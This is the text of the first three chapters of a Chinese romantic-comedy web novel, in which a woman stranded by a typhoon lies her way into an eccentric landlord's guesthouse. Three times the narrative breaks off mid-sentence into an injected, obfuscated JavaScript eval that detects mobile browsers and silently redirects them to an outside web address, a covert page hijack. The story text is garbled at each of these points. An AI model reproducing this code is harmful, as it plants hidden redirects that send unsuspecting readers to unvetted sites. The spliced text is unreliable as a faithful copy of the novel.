《问题先生与答案小姐[公路]》 1. 第 1 章 “中央气象台预计,台风冰湖正在以每小时10-15公里的速度向偏西偏北方移动,白天加强为2号台风,向琼岛南部至粤省西部沿海地区靠近,并将于14日登陆。再此提醒广大市民朋友注意防御,提前至坚固安全场所避险,做到人不出门、车不上路……” 啪嗒一声,脚下地砖一歪,冰凉的泥水从裤脚直灌膝盖。 韩暑被迫驻足,却忘了右手还拖着28寸的行李箱。于是在惯性作用下,箱轱辘狠狠磕上了脚踝。 “……” 人到底能倒霉到什么程度? 在机场苦等10个小时等到全线停航的消息,回到先前入住的酒店发现早已满员。 不仅如此,旅游平台上所有能搜到的酒店标间单人间全部售罄,只剩下5888行政套房、6888家庭套房和9888海景套房等富人选项。 韩暑住不起,一晚都住不起,遑论住到台风结束。 此刻暴雨如注,人行道旁的椰子树躯干倾斜枝叶狂舞,像商场开业时门口的气球人一样挥舞手臂,却依旧逃不出命运的魔掌。 韩暑觉得自己像极了这棵狼狈的树。 不,还不如这棵树。 起码它和同伴并肩而立,而她站在这空无一人的陌生街道上,湿透的短发像用502糊着脸,橘色短袖被染成钢铁侠红金色盔甲,往下看——同色系的裤腿紧紧扒着皮肤,胯部的面料却被风松垮垮地吹到身后。 如果没有辞职—— 如果没有辞职,她就不会和父母吵架。如果没有吵架,她就不会一气之下跑来琼岛度假。如果没有来琼岛,她就不会遭遇台风,不会被困,不会在这个时间艰难地寻找安身之所…… 冒出这个念头的时候,韩暑立刻对自己展开严肃的谴责。 辞职这件事,绝不能后悔。 行李箱轱辘磕磕绊绊地滚动起来,韩暑也一步步向前走去。雨似乎更大了,风也是。她身体前倾以此对抗风力,步履愈发艰难。 方才的好心人说,往前走一公里左转后再走一公里有一片别墅区,开了几家民宿。而且地理位置有点偏生意不好,或许有空房。 这是她全部的希望。 从十字路口拐过弯,马路上的积水已经没过了路沿。就在水中,停了辆改成火山灰色的轿车。 这一款车韩暑喜欢了很久,原计划年底买的,可惜现在变身无业游民。没戏。 她收回视线,把羡慕压回心底。 “砰!!!” 警报声大作。 原本冻得瑟瑟发抖的韩暑被吓一大跳,步子停了,连哆嗦都停了。 顺着声音传来的方向回身,一只碗口粗的树枝垂直扎进了车的挡风玻璃,尾灯正随警报的频率闪烁刺目红光。 韩暑拔腿就往过跑,却忘了这样恰好顺着风向,于是身体在前面飞腿在后面追,几番惊险刺激后四肢大张扒住车尾,避免了跌进水坑的厄运。 “好险……”她一边嘟囔一边蠕动到驾驶座,擦了好几下玻璃依然模糊不清,只得无限靠近鼻子都顶了上去,这才在汇聚成股的水幕中确认没有人影。 没人就好。 看那能诱发密恐的白色玻璃裂纹,驾驶座有人的话怕是会被砸晕。 心疼车主三秒后正要走,她瞥见挡风玻璃右角摆着一只蜡笔小新挪车牌,于是再次把鼻子顶了上去。 “176XXXX5991……176XXXX5991……” 韩暑默念一遍背了一遍,决定安顿下来后给车主提个醒。然后蹚水回到人行道,扶起倒下的行李箱,在警报声中继续踽踽独行。 台风着陆前夕,韩暑第一次将雨天和A4纸并列,视为鲨人于无形的利器。 被疾风裹挟的雨线以极其倾斜的角度扫来,有的重重砸到身上,有的划过脸侧,还有的精确瞄准她挤成一条缝的眼睛…… 怪疼的。 再想想方才惨遭贯穿的车,万一飞来一个树枝砸头上,她还有命看到台风后的太阳吗? 韩暑不敢再想,咬牙加快步伐。渐渐的,她开始分辨不清自己究竟走了一公里还是十公里,十分钟还是十小时…… 踩着已能称为河的路,在崩溃的边缘,她终于看到一块蓝底白字的门头,写着海岭区南湾派出所。派出所东边的巷子里是一排二层小楼,有一栋挂了牌子,隐约可以看到民宿二字。 好心人所说的地方,大概就是这里了。 派出所,民宿。 挺好,安全。 希望就在前方。拐入小巷,体感上风小了些,韩暑遵从本心,开始撒丫子狂奔,又以知识竞赛按抢答器的手速狂摁门铃。 “叮咚!叮咚!叮咚!” 瓢泼大雨模糊了她的视线,心跳却和门铃声一样迫切地期盼回应。直到雨滴敲击伞面的声音跨过院墙,脚步声也由远及近。 有人来了。 韩暑屏息静待,防盗门从内打开,露出一人宽的缝隙。 视线被成片的黑色占据,黑伞,黑衣,黑裤,以及一张白得过分的脸。虽说看不清容貌,但这极高的身量必定是个男人。 韩暑竭力睁大杏眸,挤出一个人畜无害的笑容,“您好,住店。” 从小到大,叔叔阿姨哥哥姐姐男的女的都夸韩暑长得乖,圆脸圆眼,笑眼弯弯,看着就心软。从前她对此不屑一顾,认为他们忽视了软萌外表下强大的内心。 但现在,在生死攸关的时刻,她愿意发挥一下外貌优势。万一这里也满房,房东能看在她可怜巴巴的份上心生同情,给她腾个墙角打地铺也是好的。 男人向前半步,抬手敲了敲门边,清冽的嗓音在隆隆风声中更显淡漠,“满足入住条件吗?” 入住条件? 她只听过入职条件。 韩暑觉得半盲状态不太利于沟通,这才松了扶行李箱的手,用力揉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903479|176738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛。她有些干眼症,吹了这么久的风后眼底酸涩感极其强烈,于是偏向背风处眨了好一会。 世界终于从高斯模糊变回锐化模式。 第一眼,她看到了民宿的门牌。 ——问题先生民宿。 第二眼,她看到了问题先生的脸。 ——好一张能让人同时忘记脚腕的疼痛、黏糊糊的湿衣服和坏天气的帅脸。 第三眼……她实在没忍住用眼神逡巡,因为他那该死的美貌。 不长不短的额发下是存在感极强的眉宇,骨骼分明却不过分锋利,精致中又不乏硬朗。鼻梁高挺架一副无框镜,如墨的眸子半垂,有些懒散,又有点斯文。 男人薄唇轻抿似有不快,抬手又敲了一次门边。 韩暑赶紧收起欣赏美色的心思,顺着指引看去,发现门檐下竟挂着块白板。经过雨水冲刷,每一个字都拖出了长长的黑色尾巴,但勉强可以辨认。 上面赫然两行大字—— 【今日入住条件: 25岁以上已婚已育但夫妻感情不和。】 韩暑:? 这算什么入住条件? 男人抬手推了下镜框,半张俊脸随之落入暗影,“你成年了吗?” “……谢谢夸奖,我25岁了。”韩暑不理解但坚定得像要入dang,“我已婚已育且夫妻感情不和,满足条件!” ——就怪了。 幼儿园毕业之后,她连男性的小手还没牵过呢,哪来的丈夫和娃? 但她看出来了,这房东是个怪人,只有满足稀奇古怪的条件才能入住。此刻,有一个能遮风避雨的天花板是她唯一的诉求,加上离派出所近,安全也能得到保障。 总结:撒谎算什么?什么都不算! 韩暑再次露出官方版甜美无害的笑容,等待问题先生的回复,并暗自祈祷他别要求出示结婚证、婚纱照或者孩子的出生证明这种东西。 短暂的沉默后,男人再度启唇,态度依旧疏离,“请回答第一个问题。一颗子弹,你选择杀掉出轨的丈夫还是他的情妇?” 韩暑不假思索道:“让他俩站一排,头并头,biu!” 她并拢右手食指中指对准自己的太阳穴,发出biu的音的同时枪口上移,头向左偏。 原本是个缓和气氛的俏皮动作,男人却面无表情,甚至还缓慢地挑了下眉毛。 韩暑悻悻地收手,眼神飘忽,又清了下嗓子缓解尴尬。 救命!!! 万一房东觉得她脑子有问题,拒绝她入住怎么办?! 如果时间倒退三秒,她一定换个答案,比如杀人是不对的,要通过法律的渠道去解—— 嗯?他怎么笑了? 男人方才还淬冰的眉宇漾开,薄唇边浮现一抹清浅的笑意。 黑色铁门在吱呀声中大敞,只见他掌心向上比了个手势。 “欢迎入住。请。” 2. 第 2 章 问题先生大步流星地走,韩暑提着行李箱艰难地跟在后头。 穿过一半石板一半种花草的院落,打开最后一道通往干爽世界的门,耳边终于安静了下来。她抹抹脸,环顾四周,怀疑自己误入了游戏“我的世界”。 这就是富人的家吗? 虽然进门处也挂了一个小小的“问题先生民宿”木牌,但打眼看完全没有民宿的影子,更像满是生活气息的居所。 门廊一侧是通顶落地鞋柜,透过灰黑色的玻璃,各式各样的鞋子琳琅满目。男人把雨伞靠门边,换了拖鞋往里走,感应灯立刻亮了起来。 韩暑看到几双认识的型号,默默估算了价格……打扰了。 “拖鞋在左手边柜子。”男人率先走到玄关处,单手抄兜,望了过来。 黑衬衫黑西裤,问题先生就这样姿态慵懒地站着,都让韩暑联想到“身长玉立”四个字。着实很养眼。 她多看了一下下,才收回视线向左找去。 ——靠门的角落,有一个小小的白色鞋柜,质感粗糙,和这间别墅、和另一侧的鞋柜相比都格格不入。 她弯腰拉开,一层空空如也,二层有两双拖鞋。一双粉色的,小一些。还有一双灰色的,大一些。 想必这就是给住客准备的用品了。 韩暑取出女士那双,把湿透的凉鞋换下,放进一层的时候陡然意识到了什么。她眨眨眼,“请问只有我一个住客吗?” 问题先生颔首默认,“进来填信息。” 韩暑冲他的后脑勺撇了撇嘴,提着箱子跟上。 那好心人没说错,生意是真不好。 门廊正对超大客厅,L型的灰色皮质沙发居中,背后是一整面墙的书架和各式各样的书籍。面前是一整面落地窗,正对后院,一些叫不上名字的树正和十分钟前的韩暑一样,接受大风大雨袭击。 韩暑才走了两步,脚下的拖鞋便发出不合时宜的吧唧声。不仅如此,她完全湿透了,哪怕站着不动,水都会滴滴答答的飞溅,在地板上留下深色晕影。 “内个……”她有点尴尬,“我身上都湿了,箱子也是湿的,会弄脏你的地板。” 男人回眸,顺着她的视线,看了看地板,看了看她那惨不忍睹的衣物,又看了看那只硕大的行李箱后,眉峰微扬。 他好像才注意到她的窘况。 韩暑怀疑此帅哥眼睛有点问题,毕竟她都成落汤鸡了…… 男人一言不发地消失在了走廊尽头,再折回来时,怀里抱了满满一摞叠成圆柱体的毛巾。他用下巴抵住最上面那一只保证平衡,屈膝,一股脑放在凳子上。 他对于住客的态度毫不热络,似乎不喜欢交流,除了问那个奇怪的问题外,一句多余的话都不愿讲。 韩暑谢谢还没说出口,男人已经走到中央空调面板处,按了两下上键。 琼岛的气候就是这么奇妙,外面台风过境,屋内却闷热难忍,因此需要长时间开空调。她一进屋就觉得冷,只是没好意思说。 故而,韩暑忽视掉他的冷漠,冲那抹笔挺瘦削的背影真诚道谢,“谢谢。” 男人递来一个寡淡到毫无意义的眼神作为回应。 不知道是不是富人家的中央空调更灵敏,体感温度很快回升。她展开一条毛巾,边擦边收回了方才眼睛有问题的评价。 问题先生虽然观察力不足,但还是蛮贴心的。考虑到她会冷便调高温度,考虑到她湿淋淋的便给了这么多毛巾—— “毛巾充足,记得擦一下地板。”男人淡声提醒,然后在客厅西南角的黑桃木长桌坐定,双腿交叠,垂下眼帘,似乎沉浸在自己的思绪中。 “……哦。”她应。 如果是去别人家做客,她弄脏她收拾理所当然。可这里是民宿,一间对外营业的民宿,这个态度可以说毫无服务意识。 刚给的五星好评还没热乎,又被拉低平均值至三星。 韩暑腹诽,但还是在收拾好自己后认真擦了行李箱轮子和柔光地板上的水渍,“用过的毛巾放哪里合适?” 男人眼皮都不抬,“衣篓。” 和鞋柜一样,衣篓也分豪华版和粗糙版,韩暑自觉认领,将脏毛巾规整好放了进去。 历经波折,她终于坐在男人对面的椅子上,开始办理入住。虽然民宿看不出来是民宿,手续倒是很正式,查身份证登记信息电话一样不落,唯一不好就是得手填信息。 韩暑放下笔,甩甩胳膊,“您看这样可以吗?” 这一抬头,男人不知何时摘掉了眼镜,若有所思地盯着她。 没有了镜片的阻挡,她的眼睛再一次收到了纯正无公害的颜值攻击。 长得帅的人就是会受到优待。如果换其他人这么看她,她会理所当然地感觉到冒犯。但是换成眼前的问题先生——她只会借机欣赏美貌。 当然,也可能是他的眼神过于淡漠,淡漠到毫无情绪,便谈不上好意或恶意。 “你真的结婚了?”男人的视线落在了她光秃秃的手指。 这就是怀疑了。韩暑丝毫不慌,“嗯,我22岁一毕业就结婚了。没办法,家里着急,我抗议也没什么用。” 她一边用手指梳理还潮湿的头发,幽幽叹气,“一结婚就是无休止的催生,生完孩子原以为世界终于可以安静了,结果为了养孩子的事情和我老公天天吵架。他觉得自己养家糊口工作很累,觉得我在家光带孩子还有什么不满意。但带孩子不累吗?我又要喂奶又要一把屎一把尿的收拾我还要做饭——” “好。”男人蹙了下眉,“我知道了。” 我知道了。 再配上这恹恹的神情和没有语气的语气,那就是“我只是确认一下、对其他细节毫不关心、不用多说了”的意思。 韩暑一秒闭嘴,面上保持着哀怨,其实心里喜滋滋。单位同事们聊天的话题以老公和孩子居多,她听得多,自然能拿捏抱怨家长里短的精髓。 显然,在她精湛的演技之下,问题先生信了。 他扫了一遍登记簿,确认关键信息无误后放到一边,“住几天?” “到台风结束。” “台风?”男人略显疑惑。 “台风冰湖。”韩暑指了指落地窗,“新闻上说明天登陆。” 他偏头去看窗外的群树乱舞,抿唇又问:“新闻上说什么时候结束?” 韩暑迟疑,“好像……没说?” “最长不能超过七天。” 因为偏头的动作,颈侧能看到筋脉跳动。 临近傍晚,又只开了一盏台灯,室内昏暗了许多,可韩暑依然觉得问题先生白的刺眼,还是不带一点血色的白,像一只深居简出的厌世男鬼。 七天肯定是足够的。她点点头,“没问题,航班恢复我就走。” 男人递来一把钥匙和一个塑封皮包装的册子,像例行公事一样毫无波澜地复述:“房间在一楼楼梯口左手边,门上挂了1号的牌子。入住期间所有问题,都可以在入住手册上找到答案。” 入住手册。 好奇怪的东西。 韩暑接过,“那房费我怎么付给您?” 男人戴回眼镜,打开面前的笔记本电脑,“看手册。” 怎么会有不着急收钱的房东? “那我是一天一天付还是最后一起付?” “看手册。”他十指纷飞,把键盘敲得噼里啪啦响。 “……”韩暑语塞,捏着钥匙起身,鼓起勇气最后尝试了一次,“那吃饭的话——” 男人的脸上终于出现了一丝波澜。 他“啪”的合上了笔记本,单手摘掉眼镜,用指关节摁眉心,“手册上囊括了生活起居的方方面面,劳烦先阅读一遍。如果还有疑问,可以扫最后一页的微信二维码,或者拨打联系电话。” 韩暑灰溜溜地走了。 明明顾客是上帝,怎么她像一只寄人篱下的老鼠? 下一秒,她推开挂着1号木牌的门—— 对不起,她怎么会是老鼠?老鼠怎么配住这么大的房间? 约莫五六十平米的大开间,从外向内依次是单人沙发茶几、一米八的大床、和三开门衣柜,西南角放着一张木质书桌。正对那一面墙有一扇长虹玻璃门,是干湿分离的卫生间浴室。 她摸了摸灰蓝色的床品,干爽亲肤还有洗衣液的香气。床头正对一扇大窗,朝南,晴天的话采光一定不错。 韩暑欣赏了好一阵,突然意识到重要的问题。 ——这样好的房间,房租会不会很贵?! 她赶紧翻开入住手册,拿出高考审题的认真逐字逐句研读。 十分钟后,她合上画得花里胡哨和幼儿读物差不多的封皮页,长嘘了一口气。 回答问题抵房费的民宿。 好奇怪的民宿,好奇怪的人。 不收钱开民宿干什么呢?怎么会有人不想赚钱呢? 穷鬼理解不了,一点都理解不了。 韩暑挠了挠脖子,挠了挠手臂,皮肤长时间潮湿后痒得愈发厉害。她只得先将疑惑搁置,转身进了浴室。 洗完热水澡吹干头发,又从行李箱掏出折叠盆和折叠衣架,将湿衣服洗好晾好。一身清爽,一切收拾妥当,进了水的手机恰好恢复了正常使用。 韩暑先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903480|176738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拨了倒霉蛋车主的电话,但无人接听。这才打开通讯录,按下AAA凌琳。 “宝你终于回电话了!什么情况?!” 听着她不太平稳的气息,韩暑温声道:“简而言之,暴走两公里终于找到一家民宿,现在安顿好了。” 闺蜜凌琳是唯一知道她在琼岛的人,加上各大app都在推送台风的消息,着实担心坏了。 “那就好那就好。”凌琳长吁一口气,“记得给我发个定位。” 韩暑切了免提,从微信发了过去,“放心,这里离派出所二十米。安全着呢。” 一阵细细碎碎的声音后,凌琳一字一顿道:“雅、居、别墅区?这民宿正规吗?” “小民宿,手续正规。”韩暑瞥见凳子上的入住手册,压低嗓门道,“但房东有点奇怪。” “怎么奇怪?男的女的?有别的住客吗?他不会看你长得漂亮心怀不轨吧?” “男的,但不是那种奇怪!”韩暑失笑,把从摁门铃开始的奇遇用生动的语言复述了一遍。 巨大的信息量通过5G的讯号传输两千公里。 凌琳听完,沉默了一秒,问:“有多帅?有吴彦祖帅吗?” “……”真不愧是闺蜜,韩暑鄙视她的同时顺道鄙视了自己,坦诚道:“帅,是真帅。斯斯文文,俊而不娘,懂我意思不?” 这形容词用的非常抽象,但凌琳完美get,还通过脑补补充,“清冷疏离,举手投足间矜贵非常……单身吗?来电吗?” “打住。”韩暑义正严辞,“我现在的身份是已婚已育但夫妻感情不和的妇女,怎么能婚内精神出轨呢?” “得了吧你。”凌琳恶寒,“世界上没有完美的谎言,小心漏馅了宝。” 韩暑点开备忘录,最新那一条名为婚姻情况简介,下面一条名为孩子情况简介,“不会,我已经做好了万全准备,不管他问什么保证对答如流。” 凌琳笑了一阵后狐疑,“可他为什么要限制入住条件呢?” 韩暑发散脑洞,“难道他知道自己有倾国倾城貌,怕被单身住客霸王硬上弓?” “噗!有道理!” 两人蛐蛐了一阵问题先生,凌琳又百般交代她注意安全随时联系,这才挂了电话。 时间已过八点,韩暑从行李箱掏出没吃完的零食垫吧垫吧当晚餐。手册提到厨房小冰箱的食材可以免费使用,但需要住客亲自动手。 可惜在奔波劳顿后,韩暑一根手指都不想动。她吃完刷了牙,在门把手悬挂了一只陶瓷杯,然后安然地躺在了柔软的大床。 呼。 真是辛苦的一天,比上班都辛苦。 但是想到这神奇的经历,想到给自己指路的好心人想到这家奇怪的民宿,她觉得很充实。同样是筋疲力尽,此刻比坐在格子间、面对电脑十二个小时后充实得多。 韩暑情不自禁地勾唇,翻了个身,正要顺应睡意进入梦乡,却在窗帘上看到了一个黑影。 她屏住呼吸,缓缓坐了起来。 窗外依旧是风雨大作,黑影却已极其规律的速度,一点一点靠近,一点一点映于她的眼底。 韩暑是坚定的唯物主义者。 她深吸一口气,光着脚下床,缓缓向窗边走去。 在这样的天气,在一间私密性很好的别墅,她只能想到一个人。 难道房东真是不法分子,借电闪雷鸣的掩映做坏事?那他为什么不试着开门,非要翻窗呢?难道猜到她挂了杯子,怕惊动她?难道——房间里有监控?! 难言的恐惧沿脊柱直冲天灵盖,无数杀人分尸案在脑海中循环。 韩暑爬到窗户下面,确定透过玻璃无法看到自己后,迅速在搜索框输入海岭区南湾派出所值班电话。 当手指悬于拨通键的上方,她鼓起勇气,掀开了窗帘一角。报警需要说明情况,她得看看这房东究竟搞什么名堂。 韩暑扒住窗框,以每秒移动一毫米的速度直起腰,直到双眼越过所有障碍物,看清院子内的场景。 “……” 从不可思议,到瞳孔地震,到费解,到最终无语接受,她花了足足一分钟。 一分钟内,她那奇怪的房东问题先生,穿着雨衣,带着泳镜,在急风骤雨中扒着她窗边的下水管道,以扭曲的姿势,爬上了一个成人跳跳杆。 他一手扶把手一手扶墙,试探着蹦了几下后似乎找到了感觉,猛地下蹲用力,跳跳杆咻的飞出去两米远,在路灯映照下拖出一道闪电般的残影。 “……” 韩暑缓缓地按下了锁屏键。 报警? 报个辣子。 3. 第 3 章 雨中,男人越蹦越高,越蹦越快,甚至开始在空中变换各种各样的姿势。 单手脱把,双手脱把,双臂振翅,旋转180度,仰头望天,嫦娥奔月,敦煌飞天,芭蕾手位…… “神金吧……”韩暑喃喃自语,只是为眼前的景象所震撼,都忘了移开眼。 帅哥为何台风天跑到院子里玩跳跳杆啊…… 问题先生自然不会回答,问题先生正在全身心享受这一刻。 他蹦了多久,韩暑就看了多久。到后期甚至已经麻木,拖了个板凳坐在窗户边,撑着下巴欣赏这精彩绚烂的雨中表演。 看着看着,她忽然想起院子一半是砖地,一半种了花花草草,那便是土地了。 韩暑咂舌,“要是不小心踩偏,那不得——” 话音未落,她清晰地看到跳跳杆杵进了泥地,问题先生以一个优美的姿势向前飞了出去,脸朝下,吧唧,摔了个狗吃屎。 韩暑:……? 她一时不知道该感慨这开了光的嘴,还是该惋惜。 说好的清冷斯文帅哥呢?! 老天爷,为什么要让她看到这一幕!她只是想远观美好事物而已,为什么!!! 这下摔得不轻,男人蠕动了好一会才爬起来。正当韩暑以为今日份童趣时刻即将闭幕时,只见他擦了擦脸,捡起跳跳杆继续跳了起来。只不过长了教训,姿势变得中规中矩,也远离了这边的花花草草。 韩暑为他的执着默默鼓掌,然后迅速拉上窗帘,翻身上床躺好,祈祷明天清晨来临时,她可以忘掉这一切。 事实证明,科学家说的是对的,睡前1小时的记忆内容会被大脑皮层不断重复。简而言之,记得更牢。 一睁眼,韩暑绝望地发现,脑海中还在循环播放问题先生鱼跃飞出然后脸着地的惨状。 “……完了,没法直视帅哥了。” 韩暑狠狠摞了把有点炸毛的短发,掏出手机向闺蜜暴风尖叫传递此刻的心情。 【韩暑:啊啊啊啊啊啊!】 【韩暑:你知道清冷斯文俊房东昨晚干什么了吗?!】 今天是工作日,缺觉大户凌琳也得早起,因此得以秒回。 【凌琳:做什么了?帅哥做什么了?帅哥做什么都是可以被原谅的!】 【韩暑:他、在台风天、半夜玩跳跳杆!还摔了个狗吃屎!】 聊天界面顶端,正在输入中闪烁了四五次后—— 【凌琳:………………】 【凌琳:告辞。】 很好,不是她独自惋惜了。 洗漱完毕后,韩暑拉开窗帘,被眼前的景象震惊。阴沉的天色分不清是昼是夜,院子里躺着不知从哪里飞来的树木的残肢、砖瓦、石块,而暴雨以近乎平行的走势横扫大地。 台风即将着陆,这是韩暑第一次身处其中。 她又看了一会,忽然想起那倒霉车主。砸烂了挡风玻璃,这样的雨岂不是全漏进了车里? 于是再次试着拨了下车主电话。没想到,今天竟然拨通了。 “喂?”是一个温柔磁性的男声。 “你你好。”韩暑清嗓子,“内个……我昨天路过,看到你的车被树枝砸了,打电话是想提醒一下,记得及时处理。” 那头沉沉笑了开来,“你就是那个替我擦车尾,然后脸贴玻璃的好心姑娘?” “……”韩暑石化。 “我的车开了哨兵模式。但是你放心,等我回琼岛一定删除这一段视频。谢谢你啊!” 韩暑说没关系,然后手忙脚乱地挂了电话。 多管闲事说的就是她!尴尬! 肚子咕地叫了一声。 没事的,她安慰自己,反正和车主是陌生人,谁都不认识谁,尴尬就尴尬吧。 韩暑犹豫了下,还是选择去一趟厨房。她拉开门,小心地向客厅张望,确认视线范围内没有男人的身影,才放心地走出来。 “早。” 声音几乎从脚边传来。 韩暑嗖得背靠门板,低头一看,直接原地蹦了三尺高。 “我靠你怎么在这!!!”她捂住小心脏,差点哭出来。 韩暑的房间在楼梯口,问题先生此刻正头朝下、脚朝上躺在连通一二楼的楼梯,双手交叠放于小腹,看起来还挺惬意。 可韩暑惬意不起来! 谁懂一大早一开门,在脚下看到一颗头是什么感受! 男人一言不发,直到她安静下来才慢吞吞地说:“第二个问题。你的丈夫失手将你推下楼,你躺在这个位置,最后一眼看到的是布满裂缝的屋顶。在生命的最后一刻,你会想什么?” 许是跳跳杆事件过于冲击,反躺在楼梯上显得都不那么奇怪了。韩暑很快定神。 果然,只有在问问题的时候会主动说话。不过房东来收租,住客还是要配合的。 她探头看了一眼天花板——完好如初,哪有什么裂缝。她有点没明白裂缝有何象征意义,但还是努力作答,“我会看到丈夫那张和房顶一样四分五裂的脸。” 好莫名其妙的回答,她说完都有点尴尬。 问题先生坐了起来,屁股在那一截台阶上旋转一百八十度,长腿一屈便在她面前站定。 男人今天着一身卫衣卫裤居家服,松垮垮地挂在肩上露出小半截锁骨,头发也柔顺地贴着额头。他看了韩暑一眼,莫名有种赞许的感觉,“白色冰箱有食材。” 说罢,他点点头,率先向厨房走去。 韩暑一脸莫名其妙。 什么意思?这是觉得自己答得好,所以纡尊降贵地多说几个字? 但她还是跟了上去。 人是铁饭是钢,她要吃早饭。 民宿的厨房符合韩暑对富人家的刻板印象,敞开式,中间有一大理石导台,目之所及都是一尘不染,更别提油烟了。 “内个……” 男人拉开双开门大冰箱,也不知道有没有听到,反正没回头也没应。 于是,韩暑试探:“问题先生?” 男人的背影肉眼可见地僵住了,攥着门框的手背青筋浮现。半晌,他侧过身来,“我姓闻。” 韩暑总觉得他有点咬牙切齿,缩缩脖子,赶紧纠正,“闻先生。” 这回,男人完全面向她,黑眸染上不悦,“闻知屿。” “闻先生。”韩暑礼貌地点头,“我叫韩暑——” “闻知屿。”闻知屿说。 韩暑眨眨眼,闻知屿用相同频率也眨眨眼,又说:“闻知屿。” 韩暑恍然大悟,“哦哦哦闻知屿。” 闻知屿这才满意地转了回去,在冰箱里挑挑拣拣。 韩暑第N遍默念:好奇怪的人啊。 叫问题先生或许有点羞耻,叫闻先生有什么问题? 肚子咕的又叫了一声。 她甩甩头,回归正题,“闻知屿,请问可以在你的厨房炒菜吗?” “随意。”闻知屿合上冰箱,抱着几个餐盒走向她身后的蒸烤一体箱,“这几天阿姨请假,卫生自理。” “好的。”得到肯定后,韩暑打开了双开门旁边那个还没她高的迷你冰箱。 住客专用冰箱虽然其貌不扬,但肚子里的东西还是很丰富的,肉蛋奶蔬菜水果一应俱全。 她迅速给自己做了一个三明治,配芦笋坚果和小西红柿,再来一杯新鲜热牛奶,大功告成。 韩暑美滋滋地拍了张照片发给凌琳,自夸早餐的颜值和丰盛,并且小小吐槽了下问题先生吃即热食物的不健康,这才端去餐厅。一排三人位的餐桌,闻知屿坐在对面中间已经开始用餐。 她发誓她只是随意瞥了一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903481|176738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— 好好好,自取其辱。 三只花瓣形状的配菜碟里是精致的小菜,拨好的虾、黑胡椒火腿、午餐肉整齐排布于岩石质感的黑色餐盘,另一只白色的则装了两个小笼包和两个烧麦。 男人正捏着一只鸡翅木手柄的勺子,喝着五颜六色的养生粥。他的吃相很斯文,但速度不慢,韩暑拉开椅子坐下的功夫,粥已经下去了半碗。 果然有钱可以为所欲为,连预制菜都那么精致。 韩暑感慨过后,专心享用自己这份略显潦草的爱心早餐。 作为一名深受荼毒的社畜,她吃饭速度可以说是风卷残云,毕竟经常吃一半就被一个电话叫走。因此当她吃掉最后一口面包、喝掉最后一滴牛奶,又用纸巾擦了擦嘴后,对上了闻知屿有些茫然的视线。 他难得吐出三个字,“赶时间?” 韩暑赶紧摆手,“我吃饭比较快,您慢用。” 她收好盘子准备去洗碗,念及房租问题还是礼貌问了几句,“或许……您还有什么问题吗?” 此话一出,韩暑觉得自己也有点毛病。她怎么如此顺理成章的接受了这奇怪的交易方式? 闻知屿看了她一眼,放下筷子,“第三个问题。你做好丰盛的晚餐宴请客人,但你的丈夫不让你上桌吃饭,只给你吃剩菜残羹,你会怎么做?” 这个问题一下勾起了韩暑关于奶奶的回忆。奶奶出身农村,上不起学早早嫁人,可丈夫婆婆对她不好,让她干许多活却不允许她上桌吃饭。虽然后来丈夫早死她一人将韩暑的爸爸拉扯大供上大学,过上了不错的日子,但提起过去还是会抹眼泪。 韩暑嗖地举起叉子,直勾勾盯着闻知屿,杏眸里烈焰熊熊,“我会趁他不注意,用筷子扎他眼睛!不识好歹的人,活该眼瞎!” 闻知屿动了动唇,吞咽了下。 韩暑忽然发现他长得和昨天不太一样。 确切地说,嘴巴长得不太一样。昨天是形状锐利的薄唇,今天却有点钝感欧美唇的意思。 原来是摔肿了。 “噗——” 韩暑赶紧放下叉子抿唇憋笑,可越是知道不能笑便越是一点都忍不住。最终体内的大鹅解除了封印,双手撑桌大笑起来。 闻知屿瞳孔微缩,俊脸上是难得的空白。在悠长的鹅叫声中,把没吃完的盘子往右挪,自己也缓缓平移到远离她的那张椅子上。 韩暑看在眼里,更想笑了,赶紧拍拍脸冷静,“鉴于我要在这里住很久,有一个问题想问您。” 闻知屿的眉心缓慢并坚定地拧成一个川字,“什么意思?” 韩暑学生时代就喜欢转笔,叉子在手便习惯性转了起来,绚烂的动作伴随冷光刺目,“住在这样好的别墅应该很富才对,为什么要开民宿?那些问题有什么意义呢?” 闻知屿啪得放下筷子,起身,“意义在于,我可以收集各式各样的大脑。” 说罢,他转身就走,好像被人追似得走得飞快,紧接着是用力关门的声音。 韩暑的笑容僵在了脸上。 各式各样的……大脑? 他饭都不吃跑去干什么?这是威胁吗? 她拔腿冲回房间,锁好门,抖着手给凌琳发微信语音。 “怎么办怎么办房东好奇怪啊!他又问了我很多问题,我就反问他为什么需要这些答案,他他他说他收集大脑!!!他不会是国产版汉尼拔吧!!!” 韩暑的房间正上方,闻知屿坐在书房角角的板凳上打电话。 两声忙音后那头接了起来。 